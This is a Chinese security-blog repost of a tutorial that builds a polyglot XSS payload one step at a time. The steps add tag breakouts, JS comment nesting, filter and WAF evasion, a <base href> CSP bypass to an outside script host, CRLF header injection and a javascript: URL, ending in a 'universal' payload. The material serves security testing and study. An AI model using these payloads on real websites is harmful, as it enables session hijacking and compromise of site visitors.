XSS 高阶Payload分享

admin 2022年6月28日13:55:15XSS 高阶Payload分享已关闭评论76 views字数 5951阅读19分50秒阅读模式

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


图片

文章正文




在这里,我们将尝试构建一个通用性的多语言 XSS Payload,尽可能少的字符以及可以提供的最大和最好的 XSS 案例。 我们还将添加一些用于验证的关键元素,甚至是一些基本的规避技巧。

可以使用默认测试页面 XSS GYM 测试和验证本文的payload。

在这里我们将带来一个新的基于相同逻辑的新技巧,但添加为 XSS 发现的新技巧。我们首先选择我们工作的核心:在最简单的 HTML 注入上下文中触发的有效负载:

 <K/contentEditable/autoFocus/OnFocus=(alert)(1)

我们使用任意 XHTML 标记(来自“ KNOXSS”的 K )在“contenteditable”和“autofocus”HTML 属性的帮助下自动弹出警报框,以支持事件处理程序“onfocus”。与此处理程序结合使用的任意标签在基于 Chromium 的浏览器中工作,而对于 Mozilla Firefox,则需要使用另一个支持这些属性的 HTML 元素,例如“输入”标签(在本文发布时)。

这里的另一个选择是混合大小写并用一对括号括住“alert”关键字,两者都旨在基本的过滤器规避(成本效益)。

我们继续添加下一组技巧来涵盖一些需要的注入场景:那些需要突破当前 HTML 标记对的场景,包括打开 (<tag>) 和关闭 (</tag>)。

</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=(alert)(1)>

还有更多的 HTML 标签需要这种突破,但这些是主要的,也是我们在这里的选择。请注意,没有必要为每个标签使用 >,只需在末尾使用一个,因为我们的有效负载将只落在其中一个标签中,而所有其他标签都将被忽略。

现在让我们构建负责 Javascript 注入的集合,这需要从字符串中分离出来。它对我们的内联 HTML 注入也很有用,因为我们上面的第一个构造带有“contentEditable/autoFocus/OnFocus=(alert)(1)”片段。

我们将使用转义 JS 注入所需的 //(JS 注释)以及一对括号( { } )来修复内联 HTMLi 的小语法错误,以允许正确的代码评估(如 '-alert(1 ))。最后,另一对注释 (/*/) 用于结束在初始字符串定界符 (/) 中打开的注释。

Javascript 解析器将忽略任何其他打开的注释 (/*),而未找到关闭的 (*/)。

 /*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>

这样,第一个引号(或反引号),无论是否带有反斜杠“转义”,都会以 /* 开始一个多行 JS 注释部分,该部分将以第一个 */ 结束,就在警报代码。然后用 // 注释掉它,因为我们真的无法猜测在那之后如何修复语法(对于转义的情况也没有其他方法)。

通过下面突出显示实际评估代码的示例详细检查它的工作原理。第一个是单引号中断的简单 JS 注入,第二个是转义双引号注入(此处的案例 #6 和 #7 )。

 /*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>  /*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>

现在让我们在分叉之前为我们的有效负载添加一些更好的技巧:需要一个分叉,因为一些技巧会发生冲突,所以我们需要使用一个或另一个。第一个是绕过仅用于评论的过滤器:

 <!–>/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//–>

我们在开头添加了 <!--> 并在最后一个大于号 (>) 之前添加了双破折号。绕过过滤器,如“/<!--.*-->/"等。

下一个技巧是绕过 CSP。它对于任何不将 <base> 标签列入黑名单的基于黑名单的过滤器也很有用,包括已实现的 CSP 本身:

<!–>/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><Base/Href=//X55.is/–>

由于基本元素只关心域,只要我们提供一个(在这种情况下,X55.is 域设置为回复任何基于相对路径的脚本调用)它就可以工作,无论 URL 路径如何,允许斜线后面的任何内容。

为了能够绕过对 HTML 实体的清理,让我们为基于 DOM 的场景添加另一个技巧,该技巧可能对 WAF 也有效。

 <!–>/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><Base/Href=//X55.is\76–>

如果将 < 消毒为 < 但是上面的有效载荷被插入到带有一些危险的 JS 函数(接收器)的 DOM 中,“\74k<K/”将变为“<k<K/”(\74 是八进制的 <),这是一个有效的任意标记与 OnFocus 及其上面的属性一起使用。用 \76 关闭 DOM 插入,它是八进制的“>”,替换基本的 href 斜杠,因为反斜杠在对 HTTP 引用 (href) 的实际浏览器请求中变成了斜杠。

我们可以在这里检查这个工作。

让我们在我们的“打破分隔符”集合中添加一个更奇怪的案例,它是一个基于 HTML 实体的绕过事件处理程序内部的引号过滤,例如,当我们的注入落在函数内部时。此处提供了它的实时测试页面。

 <!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/**/;{(alert)(1)}//><Base/Href=//X55.is\76–>

它之所以有效,是因为 HTML 实体应该在比 javascript 代码更高级别的 HTML 空间中工作。用“)”和“;”关闭函数是强制性的 就在我们的 {(alert)(1)} 代码之前。

接下来是一个复杂的问题:为了使模板文字占位符注入工作,我们使用 JS 注释的复杂嵌套来处理所有以前的情况以及这个新的情况。

 <!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>

初始 /* 用于 OnFocus 事件, // 用于占位符注入,同时也用于设置中断分隔符。那 // 是一个双刃剑,根据之前调用的代码,它既可以作为注释的开始,也可以作为注释的结束。下面,突出显示了 3 种可能的情况:

 <!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>  <!–>/*‘/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>  <!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>

现在我们的多语言核心几乎结束了,因为我们添加的所有新技巧都会使其他技巧无效。

通过添加几个 CRLF(回车和换行),我们添加了一些 HTTP 标头注入功能,包括更改内容类型和尝试强制我们的响应正文传递我们的代码。

 <!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/* %0D%0AContent-Type:text/html%0D%0A%0D%0A </Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>

不幸的是,这可能会禁用我们使用八进制数的基于 DOM 的 XSS 技巧。

所以为了让它继续工作,让我们在下一个有用的补充中忘记它:

 JavaScript://%250Aalert?.(1)//*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!–></Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>

Javascript 伪协议用于Location Sink 基于 DOM 的 XSS ,具有绕过 URL 验证过滤器的技巧,但我们使用可选链接来提供所需的问号, 而不是三元运算符。它也适用于锚点中的PHP strip_tags 函数。我们之前的第一个斜杠与新的 alert?.(1) 斜杠一起使用,形成注释其余有效负载所需的双斜杠。

请注意,我们已经替换了 <!–> 这使得它不太有用,因为它在开始时对于只允许整个输入的 HTML 注释的过滤器效果更好。虽然是一个小缺点,但新添加的内容很好地弥补了这一点。

最后一个技巧是在我们的 paylaod 末尾使用反斜杠来处理无引号的Javacript 注入场景:

 JavaScript://%250Aalert?.(1)//*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!–></Title/</Style/</Script/</textArea/</iFrame/</noScript> \74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>\

但请记住,这个反斜杠最终可能会破坏本机 JS 代码,这些代码不会被我们之前的任何有效负载注入,也不会转义或清理该字符。它可能没有回报,所以我们可以跳过它。

最后,多语言通用payload:

JavaScript://%250Aalert?.(1)// '/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76--> #XSS

目前该payload能够在XSS Gym中拥有的 30 多个 XSS 测试用例中的至少 27 个(需要单击一个案例)中弹框。

图片

文章来源:https://brutelogic.com.br/blog/building-xss-polyglots/

图片

技术交流





交流群



关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

图片




知识星球




星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等

图片






关注我们




关注福利:

回复“app" 获取  app渗透和app抓包教程

 

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf





往期文章:




CVE-2022-30190 Follina Office RCE分析【附自定义word模板POC】

邮箱附件钓鱼常用技法

入侵痕迹清理

一篇文章带你学会容器逃逸
spring cloud function spel表达式注入RCE复现
利用burp精准定位攻击者
从此 Typora 代码块有了颜色
不会写免杀也能轻松过defender上线CS



  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月28日13:55:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS 高阶Payload分享http://cn-sec.com/archives/1148252.html